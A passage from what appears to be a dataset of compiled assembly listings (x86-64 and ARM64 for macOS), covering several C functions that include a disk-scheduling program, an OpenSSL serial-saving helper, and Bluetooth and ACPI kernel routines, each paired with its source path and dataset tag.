add x13, sp, #24
add x13, x13, x11, lsl #2
sub x10, x10, x11
LBB0_28: ; =>This Inner Loop Header: Depth=1
ldr w11, [x12], #-4
str w11, [x13], #4
subs x10, x10, #1
b.ne LBB0_28
LBB0_29:
ldur w11, [x29, #-136]
add x10, sp, #24
str w11, [x10, w8, uxtw #2]
cmp w9, w20
b.ge LBB0_31
; %bb.30:
add w8, w9, #1
lsl x8, x8, #2
add x0, x10, x8
sub x10, x29, #136
add x1, x10, x8
mvn w8, w9
add w8, w20, w8
lsl x8, x8, #2
add x2, x8, #4
bl _memcpy
LBB0_31:
cmp w20, #1
b.lt LBB0_34
; %bb.32:
add w8, w20, #1
ldr w12, [sp, #24]
sub x10, x8, #1
cmp x10, #16
b.hs LBB0_35
; %bb.33:
mov w20, #0
mov w9, #1
b LBB0_39
LBB0_34:
mov w20, #0
b LBB0_41
LBB0_35:
and x11, x10, #0xfffffffffffffff0
orr x9, x11, #0x1
dup.4s v0, w12
add x12, sp, #104
add x12, x12, #36
add x13, sp, #24
add x13, x13, #36
movi.2d v1, #0000000000000000
mov x14, x11
movi.2d v2, #0000000000000000
movi.2d v3, #0000000000000000
movi.2d v4, #0000000000000000
LBB0_36: ; =>This Inner Loop Header: Depth=1
ldp q5, q6, [x13, #-32]
ext.16b v7, v0, v5, #12
ldp q16, q0, [x13], #64
ext.16b v17, v5, v6, #12
ext.16b v18, v6, v16, #12
ext.16b v19, v16, v0, #12
cmgt.4s v20, v5, v7
cmgt.4s v21, v6, v17
cmgt.4s v22, v16, v18
cmgt.4s v23, v0, v19
sub.4s v24, v5, v7
sub.4s v25, v6, v17
sub.4s v26, v16, v18
sub.4s v27, v0, v19
sub.4s v5, v7, v5
sub.4s v6, v17, v6
sub.4s v7, v18, v16
sub.4s v16, v19, v0
bit.16b v5, v24, v20
bit.16b v6, v25, v21
bit.16b v7, v26, v22
bit.16b v16, v27, v23
stp q5, q6, [x12, #-32]
stp q7, q16, [x12], #64
add.4s v1, v5, v1
add.4s v2, v6, v2
add.4s v3, v7, v3
add.4s v4, v16, v4
subs x14, x14, #16
b.ne LBB0_36
; %bb.37:
add.4s v1, v2, v1
add.4s v1, v3, v1
add.4s v1, v4, v1
addv.4s s1, v1
fmov w20, s1
cmp x10, x11
b.eq LBB0_41
; %bb.38:
mov.s w12, v0[3]
LBB0_39:
lsl x11, x9, #2
add x10, sp, #104
add x10, x10, x11
add x13, sp, #24
add x11, x13, x11
sub x8, x8, x9
LBB0_40: ; =>This Inner Loop Header: Depth=1
ldr w9, [x11], #4
sub w13, w12, w9
subs w12, w9, w12
csel w12, w12, w13, gt
str w12, [x10], #4
add w20, w12, w20
mov x12, x9
subs x8, x8, #1
b.ne LBB0_40
LBB0_41:
Lloh13:
adrp x0, l_str@PAGE
Lloh14:
add x0, x0, l_str@PAGEOFF
bl _puts
Lloh15:
adrp x0, l_str.9@PAGE
Lloh16:
add x0, x0, l_str.9@PAGEOFF
bl _puts
ldr w8, [sp, #16]
tbnz w8, #31, LBB0_44
; %bb.42:
mov x21, #0
add x22, sp, #24
add x23, sp, #104
Lloh17:
adrp x19, l_.str.6@PAGE
Lloh18:
add x19, x19, l_.str.6@PAGEOFF
LBB0_43: ; =>This Inner Loop Header: Depth=1
lsl x8, x21, #2
ldr w9, [x22, x8]
ldr w8, [x23, x8]
stp x9, x8, [sp]
mov x0, x19
bl _printf
add x8, x21, #1
ldrsw x9, [sp, #16]
cmp x21, x9
mov x21, x8
b.lt LBB0_43
LBB0_44:
str x20, [sp]
Lloh19:
adrp x0, l_.str.7@PAGE
Lloh20:
add x0, x0, l_.str.7@PAGEOFF
bl _printf
scvtf s0, w20
ldr s1, [sp, #16]
scvtf s1, s1
fdiv s0, s0, s1
fcvt d0, s0
str d0, [sp]
Lloh21:
adrp x0, l_.str.8@PAGE
Lloh22:
add x0, x0, l_.str.8@PAGEOFF
bl _printf
ldur x8, [x29, #-56]
Lloh23:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh24:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh25:
ldr x9, [x9]
cmp x9, x8
b.ne LBB0_46
; %bb.45:
mov w0, #0
ldp x29, x30, [sp, #320] ; 16-byte Folded Reload
ldp x20, x19, [sp, #304] ; 16-byte Folded Reload
ldp x22, x21, [sp, #288] ; 16-byte Folded Reload
ldp x24, x23, [sp, #272] ; 16-byte Folded Reload
add sp, sp, #336
ret
LBB0_46:
bl ___stack_chk_fail
.loh AdrpAdd Lloh9, Lloh10
.loh AdrpAdd Lloh7, Lloh8
.loh AdrpAdd Lloh5, Lloh6
.loh AdrpAdd Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpAdd Lloh11, Lloh12
.loh AdrpAdd Lloh15, Lloh16
.loh AdrpAdd Lloh13, Lloh14
.loh AdrpAdd Lloh17, Lloh18
.loh AdrpLdrGotLdr Lloh23, Lloh24, Lloh25
.loh AdrpAdd Lloh21, Lloh22
.loh AdrpAdd Lloh19, Lloh20
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Enter the no of tracks to be traversed: "
l_.str.1: ; @.str.1
.asciz "%d"
l_.str.2: ; @.str.2
.asciz "Enter the position of head: "
l_.str.3: ; @.str.3
.asciz "Enter the tracks: "
l_.str.6: ; @.str.6
.asciz "%d\t\t\t%d\n"
l_.str.7: ; @.str.7
.asciz "\nTotal head movements: %d"
l_.str.8: ; @.str.8
.asciz "\nAverage head movements: %.2f"
l_str: ; @str
.asciz "Direction is towards 0"
l_str.9: ; @str.9
.asciz "Tracks traversed\tDifference between tracks"
.subsections_via_symbols
| the_stack_data/150143715.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _save_serial ## -- Begin function save_serial
.p2align 4, 0x90
_save_serial: ## @save_serial
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rcx, -56(%rbp) ## 8-byte Spill
movq %rdx, -64(%rbp) ## 8-byte Spill
movq %rsi, %r13
movq %rdi, %r15
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -48(%rbp)
movq _BSIZE@GOTPCREL(%rip), %rax
movl (%rax), %ebx
movq %rbx, %rax
callq ____chkstk_darwin
addq $15, %rax
andq $-16, %rax
subq %rax, %rsp
movq %rsp, %r12
movq %r15, %rdi
callq _strlen
movl %eax, %r14d
testq %r13, %r13
je LBB0_1
## %bb.3:
movq _BSIZE@GOTPCREL(%rip), %rax
cmpl (%rax), %r14d
jge LBB0_4
## %bb.5:
leaq L_.str.1(%rip), %rdx
movq %r12, %rdi
movl %ebx, %esi
movq %r15, %rcx
movq %r13, %r8
callq _BIO_snprintf
jmp LBB0_6
LBB0_1:
xorl %edi, %edi
callq _strlen
subl %eax, %r14d
incl %r14d
movq _BSIZE@GOTPCREL(%rip), %rax
movl (%rax), %edx
cmpl %edx, %r14d
jge LBB0_4
## %bb.2:
movq %r12, %rdi
movq %r15, %rsi
callq _OPENSSL_strlcpy
LBB0_6:
leaq L_.str.2(%rip), %rsi
movq %r12, %rdi
callq _BIO_new_file
testq %rax, %rax
je LBB0_7
## %bb.9:
movq %rax, %r15
xorl %r12d, %r12d
movq -64(%rbp), %rdi ## 8-byte Reload
xorl %esi, %esi
callq _BN_to_ASN1_INTEGER
testq %rax, %rax
je LBB0_10
## %bb.11:
movq %rax, %r14
movq %r15, %rdi
movq %rax, %rsi
callq _i2a_ASN1_INTEGER
leaq L_.str.4(%rip), %rsi
movq %r15, %rdi
callq _BIO_puts
movl $1, %r12d
movq -56(%rbp), %rax ## 8-byte Reload
testq %rax, %rax
je LBB0_14
## %bb.12:
movq %r14, (%rax)
jmp LBB0_13
LBB0_4:
movq _bio_err@GOTPCREL(%rip), %rax
movl (%rax), %edi
leaq L_.str(%rip), %rsi
callq _BIO_printf
jmp LBB0_8
LBB0_7:
movq _bio_err@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _ERR_print_errors
LBB0_8:
xorl %r15d, %r15d
xorl %r12d, %r12d
LBB0_13:
xorl %r14d, %r14d
LBB0_14:
movq %r15, %rdi
callq _BIO_free_all
movq %r14, %rdi
callq _ASN1_INTEGER_free
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
cmpq -48(%rbp), %rax
jne LBB0_16
## %bb.15:
movl %r12d, %eax
leaq -40(%rbp), %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_10:
movq _bio_err@GOTPCREL(%rip), %rax
movl (%rax), %edi
leaq L_.str.3(%rip), %rsi
callq _BIO_printf
jmp LBB0_13
LBB0_16:
callq ___stack_chk_fail
.cfi_endproc
## -- End function
.comm _BSIZE,4,2 ## @BSIZE
.comm _bio_err,4,2 ## @bio_err
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "file name too long\n"
L_.str.1: ## @.str.1
.asciz "%s.%s"
L_.str.2: ## @.str.2
.asciz "w"
L_.str.3: ## @.str.3
.asciz "error converting serial to ASN.1 format\n"
L_.str.4: ## @.str.4
.asciz "\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _save_serial ; -- Begin function save_serial
.p2align 2
_save_serial: ; @save_serial
.cfi_startproc
; %bb.0:
stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill
stp x24, x23, [sp, #16] ; 16-byte Folded Spill
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
sub sp, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
mov x19, x3
mov x20, x2
mov x23, x1
mov x21, x0
Lloh0:
adrp x8, ___stack_chk_guard@GOTPAGE
Lloh1:
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
stur x8, [x29, #-72]
Lloh3:
adrp x26, _BSIZE@GOTPAGE
Lloh4:
ldr x26, [x26, _BSIZE@GOTPAGEOFF]
ldr w24, [x26]
mov x9, x24
Lloh5:
adrp x16, ___chkstk_darwin@GOTPAGE
Lloh6:
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
mov x8, sp
add x9, x24, #15
and x9, x9, #0x1fffffff0
sub x22, x8, x9
mov sp, x22
bl _strlen
mov x25, x0
cbz x23, LBB0_3
; %bb.1:
ldr w8, [x26]
cmp w25, w8
b.ge LBB0_9
; %bb.2:
Lloh7:
adrp x2, l_.str.1@PAGE
Lloh8:
add x2, x2, l_.str.1@PAGEOFF
mov x0, x22
mov x1, x24
mov x3, x21
mov x4, x23
bl _BIO_snprintf
b LBB0_5
LBB0_3:
mov x0, #0 ; =0x0
bl _strlen
sub w8, w25, w0
add w8, w8, #1
ldr w2, [x26]
cmp w8, w2
b.ge LBB0_9
; %bb.4:
mov x0, x22
mov x1, x21
bl _OPENSSL_strlcpy
LBB0_5:
Lloh9:
adrp x1, l_.str.2@PAGE
Lloh10:
add x1, x1, l_.str.2@PAGEOFF
mov x0, x22
bl _BIO_new_file
mov x21, x0
cbz x0, LBB0_10
; %bb.6:
mov x0, x20
mov x1, #0 ; =0x0
bl _BN_to_ASN1_INTEGER
mov x20, x0
cbz x0, LBB0_15
; %bb.7:
mov x0, x21
mov x1, x20
bl _i2a_ASN1_INTEGER
Lloh11:
adrp x1, l_.str.4@PAGE
Lloh12:
add x1, x1, l_.str.4@PAGEOFF
mov x0, x21
bl _BIO_puts
cbz x19, LBB0_16
; %bb.8:
str x20, [x19]
mov w19, #1 ; =0x1
b LBB0_12
LBB0_9:
Lloh13:
adrp x8, _bio_err@GOTPAGE
Lloh14:
ldr x8, [x8, _bio_err@GOTPAGEOFF]
Lloh15:
ldr w0, [x8]
Lloh16:
adrp x1, l_.str@PAGE
Lloh17:
add x1, x1, l_.str@PAGEOFF
bl _BIO_printf
mov x21, #0 ; =0x0
b LBB0_11
LBB0_10:
Lloh18:
adrp x8, _bio_err@GOTPAGE
Lloh19:
ldr x8, [x8, _bio_err@GOTPAGEOFF]
Lloh20:
ldr w0, [x8]
bl _ERR_print_errors
LBB0_11:
mov w19, #0 ; =0x0
LBB0_12:
mov x20, #0 ; =0x0
LBB0_13:
mov x0, x21
bl _BIO_free_all
mov x0, x20
bl _ASN1_INTEGER_free
ldur x8, [x29, #-72]
Lloh21:
adrp x9, ___stack_chk_guard@GOTPAGE
Lloh22:
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
Lloh23:
ldr x9, [x9]
cmp x9, x8
b.ne LBB0_17
; %bb.14:
mov x0, x19
sub sp, x29, #64
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
ldp x24, x23, [sp, #16] ; 16-byte Folded Reload
ldp x26, x25, [sp], #80 ; 16-byte Folded Reload
ret
LBB0_15:
Lloh24:
adrp x8, _bio_err@GOTPAGE
Lloh25:
ldr x8, [x8, _bio_err@GOTPAGEOFF]
Lloh26:
ldr w0, [x8]
Lloh27:
adrp x1, l_.str.3@PAGE
Lloh28:
add x1, x1, l_.str.3@PAGEOFF
bl _BIO_printf
mov w19, #0 ; =0x0
b LBB0_13
LBB0_16:
mov w19, #1 ; =0x1
b LBB0_13
LBB0_17:
bl ___stack_chk_fail
.loh AdrpLdrGot Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpAdd Lloh7, Lloh8
.loh AdrpAdd Lloh9, Lloh10
.loh AdrpAdd Lloh11, Lloh12
.loh AdrpAdd Lloh16, Lloh17
.loh AdrpLdrGotLdr Lloh13, Lloh14, Lloh15
.loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20
.loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23
.loh AdrpAdd Lloh27, Lloh28
.loh AdrpLdrGotLdr Lloh24, Lloh25, Lloh26
.loh AdrpLdrGot Lloh5, Lloh6
.cfi_endproc
; -- End function
.comm _BSIZE,4,2 ; @BSIZE
.comm _bio_err,4,2 ; @bio_err
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "file name too long\n"
l_.str.1: ; @.str.1
.asciz "%s.%s"
l_.str.2: ; @.str.2
.asciz "w"
l_.str.3: ; @.str.3
.asciz "error converting serial to ASN.1 format\n"
l_.str.4: ; @.str.4
.asciz "\n"
.subsections_via_symbols
| assembly_file_64318.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function rfcomm_sock_getname
_rfcomm_sock_getname: ## @rfcomm_sock_getname
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %ecx, %r15d
movq %rdx, %r14
movq %rsi, %r12
movq %rdi, %rsi
movq (%rdi), %rbx
leaq L_.str(%rip), %rdi
movq %rbx, %rdx
callq _BT_DBG
movq %r12, %rdi
xorl %esi, %esi
movl $12, %edx
callq _memset
movq _AF_BLUETOOTH@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, 8(%r12)
movq %rbx, %rdi
callq _rfcomm_pi
movl (%rax), %eax
movl %eax, 4(%r12)
movq %rbx, %rdi
callq _bt_sk
testl %r15d, %r15d
je LBB0_2
## %bb.1:
addq $4, %rax
LBB0_2:
movq %r12, %rdi
movq %rax, %rsi
callq _bacpy
movl $12, (%r14)
xorl %eax, %eax
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "sock %p, sk %p"
.comm _AF_BLUETOOTH,4,2 ## @AF_BLUETOOTH
.no_dead_strip _rfcomm_sock_getname
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function rfcomm_sock_getname
_rfcomm_sock_getname: ; @rfcomm_sock_getname
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x21, x3
mov x19, x2
mov x20, x1
mov x1, x0
ldr x22, [x0]
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
mov x2, x22
bl _BT_DBG
mov x0, x20
mov w1, #0
mov w2, #12
bl _memset
Lloh2:
adrp x8, _AF_BLUETOOTH@GOTPAGE
Lloh3:
ldr x8, [x8, _AF_BLUETOOTH@GOTPAGEOFF]
Lloh4:
ldr w8, [x8]
str w8, [x20, #8]
mov x0, x22
bl _rfcomm_pi
ldr w8, [x0]
str w8, [x20, #4]
mov x0, x22
bl _bt_sk
mov x1, x0
cbz w21, LBB0_2
; %bb.1:
add x1, x1, #4
LBB0_2:
mov x0, x20
bl _bacpy
mov w8, #12
str w8, [x19]
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4
.loh AdrpAdd Lloh0, Lloh1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "sock %p, sk %p"
.comm _AF_BLUETOOTH,4,2 ; @AF_BLUETOOTH
.no_dead_strip _rfcomm_sock_getname
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/net/bluetooth/rfcomm/extr_sock.c_rfcomm_sock_getname.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _acpi_bus_power_manageable ## -- Begin function acpi_bus_power_manageable
.p2align 4, 0x90
_acpi_bus_power_manageable: ## @acpi_bus_power_manageable
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
leaq -8(%rbp), %rsi
callq _acpi_bus_get_device
movl %eax, %ecx
xorl %eax, %eax
testl %ecx, %ecx
jne LBB0_2
## %bb.1:
movq -8(%rbp), %rax
movl (%rax), %eax
LBB0_2:
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _acpi_bus_power_manageable ; -- Begin function acpi_bus_power_manageable
.p2align 2
_acpi_bus_power_manageable: ; @acpi_bus_power_manageable
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
add x1, sp, #8
bl _acpi_bus_get_device
cbz w0, LBB0_2
; %bb.1:
mov w0, #0
b LBB0_3
LBB0_2:
ldr x8, [sp, #8]
ldr w0, [x8]
LBB0_3:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/acpi/extr_bus.c_acpi_bus_power_manageable.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _foo ## -- Begin function foo
.p2align 4, 0x90
_foo: ## @foo
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, %esi
leaq L_.str(%rip), %rdi
xorl %eax, %eax
popq %rbp
jmp _printf ## TAILCALL
.cfi_endproc
## -- End function
.globl _test ## -- Begin function test
.p2align 4, 0x90
_test: ## @test
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
testl %edi, %edi
jle LBB1_1
## %bb.2:
movl %edi, %eax
leal -1(%rax), %ecx
incl %eax
leaq L_str.8(%rip), %rdi
movl %esi, %edx
.p2align 4, 0x90
LBB1_3: ## =>This Inner Loop Header: Depth=1
cmpl %esi, %ecx
jae LBB1_6
## %bb.4: ## in Loop: Header=BB1_3 Depth=1
decl %edx
decl %eax
cmpl $1, %eax
jg LBB1_3
jmp LBB1_5
LBB1_1:
movl %esi, %edx
LBB1_5:
testl %edx, %edx
leaq L_str.7(%rip), %rax
leaq L_str(%rip), %rdi
cmoveq %rax, %rdi
LBB1_6:
popq %rbp
jmp _puts ## TAILCALL
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
leaq L_str.9(%rip), %rdi
callq _puts
leaq L_.str.5(%rip), %rbx
leaq -16(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq L_str.10(%rip), %rdi
callq _puts
leaq -12(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
movl -16(%rbp), %esi
leal -1(%rsi), %eax
cmpl $48, %eax
ja LBB2_8
## %bb.1:
movl -12(%rbp), %eax
decl %eax
cmpl $48, %eax
ja LBB2_8
## %bb.2:
leaq L_.str(%rip), %rbx
movq %rbx, %rdi
## kill: def $esi killed $esi killed $rsi
xorl %eax, %eax
callq _printf
movl -12(%rbp), %esi
movq %rbx, %rdi
xorl %eax, %eax
callq _printf
movl -16(%rbp), %ecx
movl -12(%rbp), %eax
testl %ecx, %ecx
jle LBB2_6
## %bb.3:
leal -1(%rcx), %edx
cmpl %eax, %edx
jae LBB2_4
## %bb.5:
subl %ecx, %eax
LBB2_6:
testl %eax, %eax
leaq L_str.7(%rip), %rax
leaq L_str(%rip), %rdi
cmoveq %rax, %rdi
jmp LBB2_7
LBB2_4:
leaq L_str.8(%rip), %rdi
LBB2_7:
callq _puts
LBB2_8:
xorl %eax, %eax
addq $8, %rsp
popq %rbx
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "got %d\n"
L_.str.5: ## @.str.5
.asciz "%d"
L_str: ## @str
.asciz "b>a"
L_str.7: ## @str.7
.asciz "b==a"
L_str.8: ## @str.8
.asciz "b<a"
L_str.9: ## @str.9
.asciz "Enter something:"
L_str.10: ## @str.10
.asciz "Enter something else: "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _foo ; -- Begin function foo
.p2align 2
_foo: ; @foo
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
; kill: def $w0 killed $w0 def $x0
str x0, [sp]
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
bl _printf
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.loh AdrpAdd Lloh0, Lloh1
.cfi_endproc
; -- End function
.globl _test ; -- Begin function test
.p2align 2
_test: ; @test
.cfi_startproc
; %bb.0:
subs w8, w0, #1
b.lt LBB1_4
; %bb.1:
add w10, w0, #1
Lloh2:
adrp x0, l_str.8@PAGE
Lloh3:
add x0, x0, l_str.8@PAGEOFF
mov x9, x1
LBB1_2: ; =>This Inner Loop Header: Depth=1
cmp w8, w1
b.hs LBB1_6
; %bb.3: ; in Loop: Header=BB1_2 Depth=1
sub w9, w9, #1
sub w10, w10, #1
cmp w10, #1
b.gt LBB1_2
b LBB1_5
LBB1_4:
mov x9, x1
LBB1_5:
Lloh4:
adrp x8, l_str@PAGE
Lloh5:
add x8, x8, l_str@PAGEOFF
Lloh6:
adrp x10, l_str.7@PAGE
Lloh7:
add x10, x10, l_str.7@PAGEOFF
cmp w9, #0
csel x0, x10, x8, eq
LBB1_6:
b _puts
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpAdd Lloh4, Lloh5
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
Lloh8:
adrp x0, l_str.9@PAGE
Lloh9:
add x0, x0, l_str.9@PAGEOFF
bl _puts
add x8, sp, #12
str x8, [sp]
Lloh10:
adrp x19, l_.str.5@PAGE
Lloh11:
add x19, x19, l_.str.5@PAGEOFF
mov x0, x19
bl _scanf
Lloh12:
adrp x0, l_str.10@PAGE
Lloh13:
add x0, x0, l_str.10@PAGEOFF
bl _puts
add x8, sp, #8
str x8, [sp]
mov x0, x19
bl _scanf
ldr w8, [sp, #12]
sub w9, w8, #1
cmp w9, #48
b.hi LBB2_8
; %bb.1:
ldr w9, [sp, #8]
sub w9, w9, #1
cmp w9, #48
b.hi LBB2_8
; %bb.2:
str x8, [sp]
Lloh14:
adrp x19, l_.str@PAGE
Lloh15:
add x19, x19, l_.str@PAGEOFF
mov x0, x19
bl _printf
ldr w8, [sp, #8]
str x8, [sp]
mov x0, x19
bl _printf
ldp w8, w9, [sp, #8]
subs w10, w9, #1
b.lt LBB2_5
; %bb.3:
cmp w10, w8
b.hs LBB2_6
; %bb.4:
sub w8, w8, w9
LBB2_5:
Lloh16:
adrp x9, l_str@PAGE
Lloh17:
add x9, x9, l_str@PAGEOFF
Lloh18:
adrp x10, l_str.7@PAGE
Lloh19:
add x10, x10, l_str.7@PAGEOFF
cmp w8, #0
csel x0, x10, x9, eq
b LBB2_7
LBB2_6:
Lloh20:
adrp x0, l_str.8@PAGE
Lloh21:
add x0, x0, l_str.8@PAGEOFF
LBB2_7:
bl _puts
LBB2_8:
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #48
ret
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpAdd Lloh10, Lloh11
.loh AdrpAdd Lloh8, Lloh9
.loh AdrpAdd Lloh14, Lloh15
.loh AdrpAdd Lloh18, Lloh19
.loh AdrpAdd Lloh16, Lloh17
.loh AdrpAdd Lloh20, Lloh21
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "got %d\n"
l_.str.5: ; @.str.5
.asciz "%d"
l_str: ; @str
.asciz "b>a"
l_str.7: ; @str.7
.asciz "b==a"
l_str.8: ; @str.8
.asciz "b<a"
l_str.9: ; @str.9
.asciz "Enter something:"
l_str.10: ; @str.10
.asciz "Enter something else: "
.subsections_via_symbols
| the_stack_data/243892119.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function set_phantom_power
_set_phantom_power: ## @set_phantom_power
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %esi, %r14d
movq %rdi, %r15
movq 8(%rdi), %rax
movl 4(%rax), %edi
callq _le32_to_cpu
movq _E3G_PHANTOM_POWER@GOTPCREL(%rip), %rcx
movl (%rcx), %ebx
movl %ebx, %ecx
orl %eax, %ecx
notl %ebx
andl %eax, %ebx
testb %r14b, %r14b
cmovnel %ecx, %ebx
movb %r14b, (%r15)
movq 8(%r15), %rax
movl (%rax), %edi
callq _le32_to_cpu
movq %r15, %rdi
movl %ebx, %esi
movl %eax, %edx
xorl %ecx, %ecx
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
